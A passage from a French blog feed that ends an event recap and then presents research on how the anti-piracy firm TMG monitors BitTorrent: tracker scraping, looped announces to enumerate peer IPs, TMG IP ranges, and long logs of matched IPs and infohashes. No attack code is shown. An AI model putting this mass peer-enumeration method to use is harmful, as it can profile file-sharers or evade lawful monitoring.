&lt;p&gt;Le reste de ma journée, je l'ai passée à discuter de temps en temps avec quelques intéressés d'Android, et puis avec le staff du CTF pour tout fignoler. On a essuyé pas mal de problèmes, enchaîné les pépins, et les esprits ont commencé à s'échauffer. Le retard s'accumulait, les problèmes aussi: à chaque problème que l'on pensait résolu s'en ajoutait un second... Aux alentours de 2h du matin, j'ai laissé les autres membres du staff gérer le truc, j'étais trop fatigué et énervé contre des personnes qui faisaient tout leur possible pour mettre ce CTF en route. Je me suis calmé de mon côté, en essayant de faire le vide, de trouver une solution &amp;quot;viable&amp;quot;. De leur côté, le staff CTF a tenté de modifier le principe du challenge, mais cela a pris du temps et n'a pas été concluant. La dure décision d'arrêter les frais a été prise par le boss, et on a vu des équipes dégoutées, qui pour certaines étaient plus désolées pour nous et pour le temps que l'on avait passé dessus. Une grosse déception en somme, que j'ai essayé d'atténuer à grand renfort de bière.&lt;/p&gt;
&lt;p&gt;En parallèle, le challenge public tournait plutôt bien, et les épreuves se faisaient valider au fur et à mesure que la soirée avançait. Au moins, tout n'aura pas été raté.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Impressions diverses et retours&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Les retours que l'on m'a fait de l'évènement sont assez variés, mais dans l'ensemble plutôt bons. Tout le monde y va de son commentaire, de quelques idées qu'il a eu pour améliorer l'évènement, des regrets que cette édition soit plus &amp;quot;corporate&amp;quot; que celles des années précédentes ... Je peux tout à fait comprendre ces remarques et ces réactions. Disney a tout de même permis à l'équipe des organisateurs de se concentrer sur l'essentiel, sans avoir à gérer la logistique de la nourriture et de la boisson, en mettant à disposition de l'évènement une vraie régie son et vidéo, avec des systèmes qui fonctionnaient nickel et que l'on avait pas à gérer de notre côté. Du côté des visiteurs, l'endroit était tout de même hors-normes, avec une salle immense, un grand nombre de place (ah, ça fait toujours plus que sur la péniche) ainsi qu'un certain confort. Le fait de pouvoir louer une chambre pas loin, avec des tarifs préférentiels (mais chers, faut avouer), pouvait être un plus.&lt;/p&gt;
&lt;p&gt;Ce que je retiens de cette édition, c'est que d'une part elle m'a franchement étonnée: un endroit de rêve pour des conférences, qui se prête tout à fait à la venue de speakers internationaux, et qui s'adapte aussi aux usages habituels de la Nuit du Hack (workshop, CTF, prises de courant, etc ...). Et d'autre part le nombre de personnes ayant répondu présent, les animateurs de workshop qui ont fait un boulot formidable, mais aussi les speakers qui ont été terribles (et qui, on le souhaite, reviendront nous voir l'année prochaine), etc... Si la Nuit du Hack devait se dérouler dans un seul endroit l'année prochaine, ce serait bien à nouveau dans l'hotel New York.&lt;/p&gt;
&lt;p&gt;&amp;lt;center&amp;gt;&amp;lt;embed type=&amp;quot;application/x-shockwave-flash&amp;quot; src=&amp;quot;&lt;a class="reference external" href="https://picasaweb.google.com/s/c/bin/slideshow.swf"&gt;https://picasaweb.google.com/s/c/bin/slideshow.swf&lt;/a&gt;&amp;quot; width=&amp;quot;400&amp;quot; height=&amp;quot;267&amp;quot; flashvars=&amp;quot;host=picasaweb.google.com&amp;amp;hl=fr&amp;amp;feat=flashalbum&amp;amp;RGB=0x000000&amp;amp;feed=https%3A%2F%2Fpicasaweb.google.com%2Fdata%2Ffeed%2Fapi%2Fuser%2Fvirtualabs%2Falbumid%2F5620811613695329713%3Falt%3Drss%26kind%3Dphoto%26authkey%3DGv1sRgCIni3IHQoNvynwE%26hl%3Dfr&amp;quot; pluginspage=&amp;quot;&lt;a class="reference external" href="http://www.macromedia.com/go/getflashplayer"&gt;http://www.macromedia.com/go/getflashplayer&lt;/a&gt;&amp;quot;&amp;gt;&amp;lt;/embed&amp;gt;&amp;lt;/center&amp;gt;&lt;/p&gt;
</content><category term="Humeur"/><category term="nuit du hack"/><category term="évènement"/><category term="sécurité"/></entry><entry><title>Reverse-engineering de la méthode TMG</title><link href="https://virtualabs.fr/secu/Reverse-engineering-de-la-methode" rel="alternate"/><published>2011-06-03T22:58:40+02:00</published><updated>2011-06-03T22:58:40+02:00</updated><author><name>Damien Cauquil</name></author><id>tag:virtualabs.fr,2011-06-03:/secu/Reverse-engineering-de-la-methode</id><summary type="html">&lt;p&gt;Suite à la visite de la CNIL dans les locaux de TMG, je me suis demandé si cela avait bouleversé leurs pratiques et notamment le monitoring des fichiers partagés via Bittorrent. J'entrepris alors de mener quelques recherches sur le monitoring effectué par TMG, une sorte de reverse-engineering de la méthode …&lt;/p&gt;</summary><content type="html">&lt;p&gt;Suite à la visite de la CNIL dans les locaux de TMG, je me suis demandé si cela avait bouleversé leurs pratiques et notamment le monitoring des fichiers partagés via Bittorrent. J'entrepris alors de mener quelques recherches sur le monitoring effectué par TMG, une sorte de reverse-engineering de la méthode TMG.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;P2P, bittorrent et scraping&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Le protocole BitTorrent est basé (dans sa version primaire) sur des trackers, des serveurs centraux qui recensent les clients qui partagent et téléchargent des bouts de fichiers, et qui les fournit en adresses IP fraîches de clients partageant les même fichiers. Une architecture sur serveur central, pour faire simple. Un protocole a été ensuite implémenté pour éviter l'emploi d'un tracker central, DHT, mais je ne l'aborderai pas dans cet article.
Le protocole BitTorrent est public, et détaillé notamment &lt;a class="reference external" href="http://wiki.theory.org/BitTorrentSpecification#Tracker_HTTP.2FHTTPS_Protocol"&gt;dans cette page&lt;/a&gt;. Les requêtes que le tracker reçoit sont basées sur le protocole HTTP, (méthode GET) et permettent de notifier le tracker de différents évènements: début du partage, arrêt du partage, téléchargement terminé, etc. Il est facile de faire croire au tracker tout et n'importe quoi, ce qu'a tenté de faire d'ailleurs l'outil &lt;em&gt;seedfuck&lt;/em&gt;, bien que le paramètre &lt;em&gt;ip&lt;/em&gt; qu'il fournissait lors d'une &lt;em&gt;announce&lt;/em&gt; n'est dans la grande majorité des cas pas pris en considération.&lt;/p&gt;
&lt;p&gt;Une fonctionnalité &amp;quot;standard&amp;quot; d'un tracker consiste à retourner les statistiques d'un torrent, ou de tous par défaut: on appelle cela le &amp;quot;scraping&amp;quot;. Une url de &amp;quot;scrape&amp;quot; est généralement disponible, et fournit une liste &amp;quot;bencodée&amp;quot; de tous les torrents partagés à un instant t, avec pour chacun d'entre eux le nombre de seeders et de leechers, et l'infohash. L'infohash est un hash sha1 identifiant de manière unique un torrent. Autrement dit, on dispose d'un moyen facile de lister les torrents partagés par un tracker.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Scrape  + announce = gotcha !&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Mon premier objectif fut de trouver un torrent partagé monitoré par TMG. Pour cela, j'ai tout simplement pris quelques trackers BitTorrent bien connus, récupéré les informations de &amp;quot;scrape&amp;quot; pour chacun d'entre eux, puis annoncé en boucle pour chaque torrent de manière à lister la totalité des adresses IP partageant le torrent. Je me suis basé sur une liste de plage d'adresses IP connues pour appartenir à TMG:&lt;/p&gt;
&lt;pre class="literal-block"&gt;
86.198.25.128-191
91.189.104.0-254
193.105.197.0-254
193.107.240.0-254
195.191.244.0-254
&lt;/pre&gt;
&lt;p&gt;J'ai bien sûr réalisé cela à l'aide de scripts python, et j'ai pu obtenir le résultat suivant sur le tracker &lt;em&gt;nemesis.1337x.org&lt;/em&gt;:&lt;/p&gt;
&lt;pre class="literal-block"&gt;
[!] Caught IP 91.189.110.91 looking for 4d95c0174d703a841502d9c104b5886cc598b33e
[!] Caught IP 91.189.109.86 looking for 4d95c0174d703a841502d9c104b5886cc598b33e
[!] Caught IP 91.189.109.87 looking for 4d95c0174d703a841502d9c104b5886cc598b33e
[!] Caught IP 91.189.110.11 looking for 4d95c0174d703a841502d9c104b5886cc598b33e
[!] Caught IP 91.189.110.52 looking for 4d95c0174d703a841502d9c104b5886cc598b33e
[!] Caught IP 91.189.110.202 looking for 4d95c0174d703a841502d9c104b5886cc598b33e
[!] Caught IP 91.189.110.201 looking for bed3e7891eaf563bd5f7767e9a071c2b752142ae
[!] Caught IP 91.189.110.12 looking for bed3e7891eaf563bd5f7767e9a071c2b752142ae
[!] Caught IP 91.189.110.202 looking for bed3e7891eaf563bd5f7767e9a071c2b752142ae
[!] Caught IP 91.189.110.92 looking for e4c7b3988286c88841c37378a4c66f4fbf336fdc
[!] Caught IP 91.189.109.87 looking for e4c7b3988286c88841c37378a4c66f4fbf336fdc
[!] Caught IP 91.189.110.91 looking for e4c7b3988286c88841c37378a4c66f4fbf336fdc
[!] Caught IP 91.189.110.11 looking for e4c7b3988286c88841c37378a4c66f4fbf336fdc
&lt;/pre&gt;
&lt;p&gt;J'ai fait la même chose sur le tracker &lt;em&gt;tracker.istole.it&lt;/em&gt;, et obtenu les résultats suivants:&lt;/p&gt;
&lt;pre class="literal-block"&gt;
[!] Caught IP 91.189.110.11 looking for 7a774e27ab4910c0f73e2f7f1fc0ea94031d9f5d
[!] Caught IP 91.189.109.87 looking for f122d9ed9f0325c275d6cfc14763f5b1fe850cf2
[!] Caught IP 91.189.110.51 looking for f122d9ed9f0325c275d6cfc14763f5b1fe850cf2
[!] Caught IP 91.189.110.202 looking for b23dd863509eb8f7bb823876401bca822e29533e
[!] Caught IP 91.189.110.92 looking for 7d59a5eb848c053578009693efb03b37120cedcf
[!] Caught IP 91.189.109.87 looking for 7d59a5eb848c053578009693efb03b37120cedcf
[!] Caught IP 91.189.110.51 looking for 11ae759e03c31042f1445d1431daf28e766e6a67
[!] Caught IP 91.189.110.12 looking for 11ae759e03c31042f1445d1431daf28e766e6a67
[!] Caught IP 91.189.109.86 looking for c8b51778582ef41cac3988e62a3c140a269c39e5
[!] Caught IP 91.189.110.51 looking for c8b51778582ef41cac3988e62a3c140a269c39e5
[!] Caught IP 91.189.109.87 looking for c8b51778582ef41cac3988e62a3c140a269c39e5
[!] Caught IP 91.189.110.11 looking for c8b51778582ef41cac3988e62a3c140a269c39e5
[!] Caught IP 91.189.110.12 looking for c8b51778582ef41cac3988e62a3c140a269c39e5
[!] Caught IP 91.189.110.91 looking for c8b51778582ef41cac3988e62a3c140a269c39e5
[!] Caught IP 91.189.109.86 looking for f6dc16658e13a14e7834dd1d21ed9eca1e772ca9
[!] Caught IP 91.189.110.11 looking for f6dc16658e13a14e7834dd1d21ed9eca1e772ca9
[!] Caught IP 91.189.110.12 looking for f6dc16658e13a14e7834dd1d21ed9eca1e772ca9
[!] Caught IP 91.189.110.91 looking for f6dc16658e13a14e7834dd1d21ed9eca1e772ca9
[!] Caught IP 91.189.110.201 looking for f6dc16658e13a14e7834dd1d21ed9eca1e772ca9
[!] Caught IP 91.189.110.51 looking for f6dc16658e13a14e7834dd1d21ed9eca1e772ca9
[!] Caught IP 91.189.109.87 looking for f6dc16658e13a14e7834dd1d21ed9eca1e772ca9
[!] Caught IP 91.189.110.92 looking for f6dc16658e13a14e7834dd1d21ed9eca1e772ca9
[!] Caught IP 91.189.110.91 looking for c17b92df1e0692cb986e0f4fe0ddf9b44d32cb4f
[!] Caught IP 91.189.110.92 looking for c17b92df1e0692cb986e0f4fe0ddf9b44d32cb4f
[!] Caught IP 91.189.110.201 looking for c17b92df1e0692cb986e0f4fe0ddf9b44d32cb4f
[!] Caught IP 91.189.110.202 looking for c17b92df1e0692cb986e0f4fe0ddf9b44d32cb4f
[!] Caught IP 91.189.109.86 looking for c17b92df1e0692cb986e0f4fe0ddf9b44d32cb4f
[!] Caught IP 91.189.109.87 looking for c17b92df1e0692cb986e0f4fe0ddf9b44d32cb4f
[!] Caught IP 91.189.110.11 looking for c17b92df1e0692cb986e0f4fe0ddf9b44d32cb4f
[!] Caught IP 91.189.110.12 looking for c17b92df1e0692cb986e0f4fe0ddf9b44d32cb4f
[!] Caught IP 91.189.110.51 looking for c17b92df1e0692cb986e0f4fe0ddf9b44d32cb4f
[!] Caught IP 91.189.110.52 looking for c17b92df1e0692cb986e0f4fe0ddf9b44d32cb4f
[!] Caught IP 91.189.110.52 looking for 190e32ba25ef1212c0907d5674e950d3c909ad87
[!] Caught IP 91.189.110.91 looking for 190e32ba25ef1212c0907d5674e950d3c909ad87
[!] Caught IP 91.189.109.86 looking for f668398a77aa82a93062ffd41b3499d389be3559
[!] Caught IP 91.189.110.11 looking for f668398a77aa82a93062ffd41b3499d389be3559
[!] Caught IP 91.189.110.12 looking for f668398a77aa82a93062ffd41b3499d389be3559
[!] Caught IP 91.189.110.51 looking for f668398a77aa82a93062ffd41b3499d389be3559
[!] Caught IP 91.189.110.52 looking for f668398a77aa82a93062ffd41b3499d389be3559
[!] Caught IP 91.189.110.91 looking for f668398a77aa82a93062ffd41b3499d389be3559
[!] Caught IP 91.189.110.92 looking for f668398a77aa82a93062ffd41b3499d389be3559
[!] Caught IP 91.189.110.201 looking for f668398a77aa82a93062ffd41b3499d389be3559
[!] Caught IP 91.189.110.202 looking for f668398a77aa82a93062ffd41b3499d389be3559
[!] Caught IP 91.189.109.87 looking for f668398a77aa82a93062ffd41b3499d389be3559
[!] Caught IP 91.189.109.86 looking for 380ac2b8676bd9dc2d2a8c675e17c953adf586c6
[!] Caught IP 91.189.110.12 looking for 380ac2b8676bd9dc2d2a8c675e17c953adf586c6
[!] Caught IP 91.189.110.51 looking for 380ac2b8676bd9dc2d2a8c675e17c953adf586c6
[!] Caught IP 91.189.110.52 looking for 380ac2b8676bd9dc2d2a8c675e17c953adf586c6
[!] Caught IP 91.189.110.91 looking for 380ac2b8676bd9dc2d2a8c675e17c953adf586c6
[!] Caught IP 91.189.110.92 looking for 380ac2b8676bd9dc2d2a8c675e17c953adf586c6
[!] Caught IP 91.189.110.201 looking for 380ac2b8676bd9dc2d2a8c675e17c953adf586c6
[!] Caught IP 91.189.110.202 looking for 380ac2b8676bd9dc2d2a8c675e17c953adf586c6
[!] Caught IP 91.189.109.86 looking for 812c7cc1c70c837b1322bea33bd76153df5a4492
[!] Caught IP 91.189.109.87 looking for 812c7cc1c70c837b1322bea33bd76153df5a4492
[!] Caught IP 91.189.110.11 looking for 812c7cc1c70c837b1322bea33bd76153df5a4492
[!] Caught IP 91.189.110.12 looking for 812c7cc1c70c837b1322bea33bd76153df5a4492
[!] Caught IP 91.189.110.51 looking for 812c7cc1c70c837b1322bea33bd76153df5a4492
[!] Caught IP 91.189.110.52 looking for 812c7cc1c70c837b1322bea33bd76153df5a4492
[!] Caught IP 91.189.110.91 looking for 812c7cc1c70c837b1322bea33bd76153df5a4492
[!] Caught IP 91.189.110.92 looking for 812c7cc1c70c837b1322bea33bd76153df5a4492
[!] Caught IP 91.189.110.201 looking for 812c7cc1c70c837b1322bea33bd76153df5a4492
[!] Caught IP 91.189.110.202 looking for 812c7cc1c70c837b1322bea33bd76153df5a4492
[!] Caught IP 91.189.110.11 looking for 9ffffa58a027760549f68302c8b51fb0417d42d0
[!] Caught IP 91.189.110.12 looking for 9ffffa58a027760549f68302c8b51fb0417d42d0
[!] Caught IP 91.189.110.51 looking for 9ffffa58a027760549f68302c8b51fb0417d42d0
[!] Caught IP 91.189.110.201 looking for 9ffffa58a027760549f68302c8b51fb0417d42d0
[!] Caught IP 91.189.109.86 looking for d51213793f9f754fb76b123ac3264f310a116d77
[!] Caught IP 91.189.109.87 looking for d51213793f9f754fb76b123ac3264f310a116d77
[!] Caught IP 91.189.110.11 looking for d51213793f9f754fb76b123ac3264f310a116d77
[!] Caught IP 91.189.110.12 looking for d51213793f9f754fb76b123ac3264f310a116d77
[!] Caught IP 91.189.110.51 looking for d51213793f9f754fb76b123ac3264f310a116d77
[!] Caught IP 91.189.110.52 looking for d51213793f9f754fb76b123ac3264f310a116d77
[!] Caught IP 91.189.110.91 looking for d51213793f9f754fb76b123ac3264f310a116d77
[!] Caught IP 91.189.110.92 looking for d51213793f9f754fb76b123ac3264f310a116d77
[!] Caught IP 91.189.110.201 looking for d51213793f9f754fb76b123ac3264f310a116d77
[!] Caught IP 91.189.110.202 looking for d51213793f9f754fb76b123ac3264f310a116d77
[!] Caught IP 91.189.109.86 looking for 693f19f1bfbe1b46c29bf3f6b4219d02ab2e86c9
[!] Caught IP 91.189.109.87 looking for 693f19f1bfbe1b46c29bf3f6b4219d02ab2e86c9
[!] Caught IP 91.189.110.11 looking for 693f19f1bfbe1b46c29bf3f6b4219d02ab2e86c9
[!] Caught IP 91.189.110.51 looking for 693f19f1bfbe1b46c29bf3f6b4219d02ab2e86c9
[!] Caught IP 91.189.110.52 looking for 693f19f1bfbe1b46c29bf3f6b4219d02ab2e86c9
[!] Caught IP 91.189.110.91 looking for 693f19f1bfbe1b46c29bf3f6b4219d02ab2e86c9
[!] Caught IP 91.189.110.92 looking for 693f19f1bfbe1b46c29bf3f6b4219d02ab2e86c9
[!] Caught IP 91.189.110.201 looking for 693f19f1bfbe1b46c29bf3f6b4219d02ab2e86c9
[!] Caught IP 91.189.110.202 looking for 693f19f1bfbe1b46c29bf3f6b4219d02ab2e86c9
[!] Caught IP 91.189.109.86 looking for 08aac90fa40a23f652744ce73db1dc6183e35569
[!] Caught IP 91.189.109.87 looking for 08aac90fa40a23f652744ce73db1dc6183e35569
[!] Caught IP 91.189.110.11 looking for 08aac90fa40a23f652744ce73db1dc6183e35569
[!] Caught IP 91.189.110.12 looking for 08aac90fa40a23f652744ce73db1dc6183e35569
[!] Caught IP 91.189.110.51 looking for 08aac90fa40a23f652744ce73db1dc6183e35569
[!] Caught IP 91.189.110.52 looking for 08aac90fa40a23f652744ce73db1dc6183e35569
[!] Caught IP 91.189.110.91 looking for 08aac90fa40a23f652744ce73db1dc6183e35569
[!] Caught IP 91.189.110.201 looking for 08aac90fa40a23f652744ce73db1dc6183e35569
[!] Caught IP 91.189.110.202 looking for 08aac90fa40a23f652744ce73db1dc6183e35569
[!] Caught IP 91.189.109.86 looking for 809f9c4dec160e8dca6bfd1835ff3feff242fcfe
[!] Caught IP 91.189.110.11 looking for 809f9c4dec160e8dca6bfd1835ff3feff242fcfe
[!] Caught IP 91.189.110.12 looking for 809f9c4dec160e8dca6bfd1835ff3feff242fcfe
[!] Caught IP 91.189.110.51 looking for 809f9c4dec160e8dca6bfd1835ff3feff242fcfe
[!] Caught IP 91.189.110.52 looking for 809f9c4dec160e8dca6bfd1835ff3feff242fcfe
[!] Caught IP 91.189.110.201 looking for 809f9c4dec160e8dca6bfd1835ff3feff242fcfe
[!] Caught IP 91.189.110.202 looking for 809f9c4dec160e8dca6bfd1835ff3feff242fcfe
[!] Caught IP 91.189.109.86 looking for 0ade14a7f20c1352280ecf0f733a07db85a69749
[!] Caught IP 91.189.110.11 looking for 0ade14a7f20c1352280ecf0f733a07db85a69749
[!] Caught IP 91.189.110.52 looking for 0ade14a7f20c1352280ecf0f733a07db85a69749
[!] Caught IP 91.189.110.201 looking for 0ade14a7f20c1352280ecf0f733a07db85a69749
[!] Caught IP 91.189.110.202 looking for 0ade14a7f20c1352280ecf0f733a07db85a69749
[!] Caught IP 91.189.109.86 looking for e8bbf584eb99f2c6a084e74bd7e65edbc21c542f
[!] Caught IP 91.189.109.87 looking for e8bbf584eb99f2c6a084e74bd7e65edbc21c542f
[!] Caught IP 91.189.110.11 looking for e8bbf584eb99f2c6a084e74bd7e65edbc21c542f
[!] Caught IP 91.189.110.12 looking for e8bbf584eb99f2c6a084e74bd7e65edbc21c542f
[!] Caught IP 91.189.110.51 looking for e8bbf584eb99f2c6a084e74bd7e65edbc21c542f
[!] Caught IP 91.189.110.52 looking for e8bbf584eb99f2c6a084e74bd7e65edbc21c542f
[!] Caught IP 91.189.110.91 looking for e8bbf584eb99f2c6a084e74bd7e65edbc21c542f
[!] Caught IP 91.189.110.92 looking for e8bbf584eb99f2c6a084e74bd7e65edbc21c542f
[!] Caught IP 91.189.110.201 looking for e8bbf584eb99f2c6a084e74bd7e65edbc21c542f
[!] Caught IP 91.189.110.52 looking for b7ab64b8d33e87a77b219a48383807f7f9c40d5b
[!] Caught IP 91.189.110.91 looking for 12c8151c59f0602f0f0f64bd9e28bc48c8f3a4c1
[!] Caught IP 91.189.109.86 looking for 761b5f8df254f38bcbc25e465d2dda987243aed6
[!] Caught IP 91.189.109.87 looking for 761b5f8df254f38bcbc25e465d2dda987243aed6
[!] Caught IP 91.189.110.51 looking for 761b5f8df254f38bcbc25e465d2dda987243aed6
[!] Caught IP 91.189.110.202 looking for 761b5f8df254f38bcbc25e465d2dda987243aed6
[!] Caught IP 91.189.109.86 looking for a98752c88f94f59257288a0a507861cda7d739a3
[!] Caught IP 91.189.109.87 looking for a98752c88f94f59257288a0a507861cda7d739a3
[!] Caught IP 91.189.110.11 looking for a98752c88f94f59257288a0a507861cda7d739a3
[!] Caught IP 91.189.110.12 looking for a98752c88f94f59257288a0a507861cda7d739a3
[!] Caught IP 91.189.110.51 looking for a98752c88f94f59257288a0a507861cda7d739a3
[!] Caught IP 91.189.110.52 looking for a98752c88f94f59257288a0a507861cda7d739a3
[!] Caught IP 91.189.110.91 looking for a98752c88f94f59257288a0a507861cda7d739a3
[!] Caught IP 91.189.110.92 looking for a98752c88f94f59257288a0a507861cda7d739a3
[!] Caught IP 91.189.110.201 looking for a98752c88f94f59257288a0a507861cda7d739a3
[!] Caught IP 91.189.110.202 looking for a98752c88f94f59257288a0a507861cda7d739a3
[!] Caught IP 91.189.109.86 looking for b468654c5fc56139c8e5b836c1094f5126002b98
[!] Caught IP 91.189.109.87 looking for b468654c5fc56139c8e5b836c1094f5126002b98
[!] Caught IP 91.189.110.11 looking for b468654c5fc56139c8e5b836c1094f5126002b98
[!] Caught IP 91.189.110.12 looking for b468654c5fc56139c8e5b836c1094f5126002b98
[!] Caught IP 91.189.110.51 looking for b468654c5fc56139c8e5b836c1094f5126002b98
[!] Caught IP 91.189.110.52 looking for b468654c5fc56139c8e5b836c1094f5126002b98
[!] Caught IP 91.189.110.91 looking for b468654c5fc56139c8e5b836c1094f5126002b98
[!] Caught IP 91.189.110.92 looking for b468654c5fc56139c8e5b836c1094f5126002b98
[!] Caught IP 91.189.110.201 looking for b468654c5fc56139c8e5b836c1094f5126002b98
[!] Caught IP 91.189.110.202 looking for b468654c5fc56139c8e5b836c1094f5126002b98
[!] Caught IP 91.189.109.86 looking for 46c5e2a910ff426cc8a7b5921dfa75c976c2bc4e
[!] Caught IP 91.189.109.87 looking for 46c5e2a910ff426cc8a7b5921dfa75c976c2bc4e
[!] Caught IP 91.189.110.52 looking for 46c5e2a910ff426cc8a7b5921dfa75c976c2bc4e
[!] Caught IP 91.189.110.92 looking for 46c5e2a910ff426cc8a7b5921dfa75c976c2bc4e
[!] Caught IP 91.189.110.201 looking for 46c5e2a910ff426cc8a7b5921dfa75c976c2bc4e
[!] Caught IP 91.189.110.202 looking for 46c5e2a910ff426cc8a7b5921dfa75c976c2bc4e
[!] Caught IP 91.189.110.12 looking for 43c51ef24a6e4945078fd02294bab40471b5143f
[!] Caught IP 91.189.110.51 looking for 43c51ef24a6e4945078fd02294bab40471b5143f
[!] Caught IP 91.189.110.52 looking for 43c51ef24a6e4945078fd02294bab40471b5143f
[!] Caught IP 91.189.110.91 looking for 43c51ef24a6e4945078fd02294bab40471b5143f
[!] Caught IP 91.189.110.92 looking for 43c51ef24a6e4945078fd02294bab40471b5143f
[!] Caught IP 91.189.110.201 looking for 43c51ef24a6e4945078fd02294bab40471b5143f
[!] Caught IP 91.189.110.202 looking for 43c51ef24a6e4945078fd02294bab40471b5143f
[!] Caught IP 91.189.109.86 looking for 16a0dfe5452a98be587695a04e2c7f0f393d56d3
[!] Caught IP 91.189.109.87 looking for 16a0dfe5452a98be587695a04e2c7f0f393d56d3
[!] Caught IP 91.189.110.12 looking for 16a0dfe5452a98be587695a04e2c7f0f393d56d3
[!] Caught IP 91.189.110.52 looking for 16a0dfe5452a98be587695a04e2c7f0f393d56d3
[!] Caught IP 91.189.110.201 looking for 16a0dfe5452a98be587695a04e2c7f0f393d56d3
[!] Caught IP 91.189.110.202 looking for 16a0dfe5452a98be587695a04e2c7f0f393d56d3
[!] Caught IP 91.189.109.86 looking for facf75eede72b14f726e97c558bce15b44b70fc1
[!] Caught IP 91.189.109.87 looking for facf75eede72b14f726e97c558bce15b44b70fc1
[!] Caught IP 91.189.110.11 looking for facf75eede72b14f726e97c558bce15b44b70fc1
[!] Caught IP 91.189.110.12 looking for facf75eede72b14f726e97c558bce15b44b70fc1
[!] Caught IP 91.189.110.51 looking for facf75eede72b14f726e97c558bce15b44b70fc1
[!] Caught IP 91.189.110.52 looking for facf75eede72b14f726e97c558bce15b44b70fc1
[!] Caught IP 91.189.110.91 looking for facf75eede72b14f726e97c558bce15b44b70fc1
[!] Caught IP 91.189.110.92 looking for facf75eede72b14f726e97c558bce15b44b70fc1
[!] Caught IP 91.189.110.201 looking for facf75eede72b14f726e97c558bce15b44b70fc1
[!] Caught IP 91.189.110.202 looking for facf75eede72b14f726e97c558bce15b44b70fc1
[!] Caught IP 91.189.109.86 looking for 319d1c211fd19c092e3aac17d98c1738b6d5857d
[!] Caught IP 91.189.109.87 looking for 319d1c211fd19c092e3aac17d98c1738b6d5857d
[!] Caught IP 91.189.110.11 looking for 319d1c211fd19c092e3aac17d98c1738b6d5857d
[!] Caught IP 91.189.110.12 looking for 319d1c211fd19c092e3aac17d98c1738b6d5857d
[!] Caught IP 91.189.110.51 looking for 319d1c211fd19c092e3aac17d98c1738b6d5857d
[!] Caught IP 91.189.110.52 looking for 319d1c211fd19c092e3aac17d98c1738b6d5857d
[!] Caught IP 91.189.110.91 looking for 319d1c211fd19c092e3aac17d98c1738b6d5857d
[!] Caught IP 91.189.110.92 looking for 319d1c211fd19c092e3aac17d98c1738b6d5857d
[!] Caught IP 91.189.110.201 looking for 319d1c211fd19c092e3aac17d98c1738b6d5857d
[!] Caught IP 91.189.110.202 looking for 319d1c211fd19c092e3aac17d98c1738b6d5857d
[!] Caught IP 91.189.109.86 looking for 91aa23bb0a77e4b190c2d9f280c90f5a2eb221ff
[!] Caught IP 91.189.109.87 looking for 91aa23bb0a77e4b190c2d9f280c90f5a2eb221ff
[!] Caught IP 91.189.110.11 looking for 91aa23bb0a77e4b190c2d9f280c90f5a2eb221ff
[!] Caught IP 91.189.110.12 looking for 91aa23bb0a77e4b190c2d9f280c90f5a2eb221ff
[!] Caught IP 91.189.110.52 looking for 91aa23bb0a77e4b190c2d9f280c90f5a2eb221ff
[!] Caught IP 91.189.110.92 looking for 91aa23bb0a77e4b190c2d9f280c90f5a2eb221ff
[!] Caught IP 91.189.110.201 looking for 91aa23bb0a77e4b190c2d9f280c90f5a2eb221ff
[!] Caught IP 91.189.110.202 looking for 91aa23bb0a77e4b190c2d9f280c90f5a2eb221ff
[!] Caught IP 91.189.109.86 looking for 39ed384cf82cc65a18017beb8096fb2bea175d25
[!] Caught IP 91.189.109.87 looking for 39ed384cf82cc65a18017beb8096fb2bea175d25
[!] Caught IP 91.189.110.11 looking for 39ed384cf82cc65a18017beb8096fb2bea175d25
[!] Caught IP 91.189.110.12 looking for 39ed384cf82cc65a18017beb8096fb2bea175d25
[!] Caught IP 91.189.110.51 looking for 39ed384cf82cc65a18017beb8096fb2bea175d25
[!] Caught IP 91.189.110.52 looking for 39ed384cf82cc65a18017beb8096fb2bea175d25
[!] Caught IP 91.189.110.91 looking for 39ed384cf82cc65a18017beb8096fb2bea175d25
[!] Caught IP 91.189.110.92 looking for 39ed384cf82cc65a18017beb8096fb2bea175d25
[!] Caught IP 91.189.110.201 looking for 39ed384cf82cc65a18017beb8096fb2bea175d25
[!] Caught IP 91.189.110.202 looking for 39ed384cf82cc65a18017beb8096fb2bea175d25
[!] Caught IP 91.189.109.86 looking for f354102f3ad4052ee9b255f15e5db0197cb78812
[!] Caught IP 91.189.110.11 looking for f354102f3ad4052ee9b255f15e5db0197cb78812
[!] Caught IP 91.189.110.12 looking for f354102f3ad4052ee9b255f15e5db0197cb78812
[!] Caught IP 91.189.110.51 looking for f354102f3ad4052ee9b255f15e5db0197cb78812
[!] Caught IP 91.189.110.52 looking for f354102f3ad4052ee9b255f15e5db0197cb78812
[!] Caught IP 91.189.110.92 looking for f354102f3ad4052ee9b255f15e5db0197cb78812
[!] Caught IP 91.189.110.201 looking for f354102f3ad4052ee9b255f15e5db0197cb78812
[!] Caught IP 91.189.110.202 looking for f354102f3ad4052ee9b255f15e5db0197cb78812
[!] Caught IP 91.189.109.86 looking for 63fb59071f3df9508b000422339f99d1952f2af6
[!] Caught IP 91.189.109.87 looking for 63fb59071f3df9508b000422339f99d1952f2af6
[!] Caught IP 91.189.109.87 looking for 63fb59071f3df9508b000422339f99d1952f2af6
[!] Caught IP 91.189.110.11 looking for 63fb59071f3df9508b000422339f99d1952f2af6
[!] Caught IP 91.189.110.12 looking for 63fb59071f3df9508b000422339f99d1952f2af6
[!] Caught IP 91.189.110.51 looking for 63fb59071f3df9508b000422339f99d1952f2af6
[!] Caught IP 91.189.110.52 looking for 63fb59071f3df9508b000422339f99d1952f2af6
[!] Caught IP 91.189.110.91 looking for 63fb59071f3df9508b000422339f99d1952f2af6
[!] Caught IP 91.189.110.92 looking for 63fb59071f3df9508b000422339f99d1952f2af6
[!] Caught IP 91.189.110.201 looking for 63fb59071f3df9508b000422339f99d1952f2af6
[!] Caught IP 91.189.110.202 looking for 63fb59071f3df9508b000422339f99d1952f2af6
[!] Caught IP 91.189.109.86 looking for 4c3f2503650ed383373c9d5bffe33549347237f0
[!] Caught IP 91.189.109.86 looking for 4c3f2503650ed383373c9d5bffe33549347237f0
[!] Caught IP 91.189.109.87 looking for 4c3f2503650ed383373c9d5bffe33549347237f0
[!] Caught IP 91.189.110.11 looking for 4c3f2503650ed383373c9d5bffe33549347237f0
[!] Caught IP 91.189.110.11 looking for 4c3f2503650ed383373c9d5bffe33549347237f0
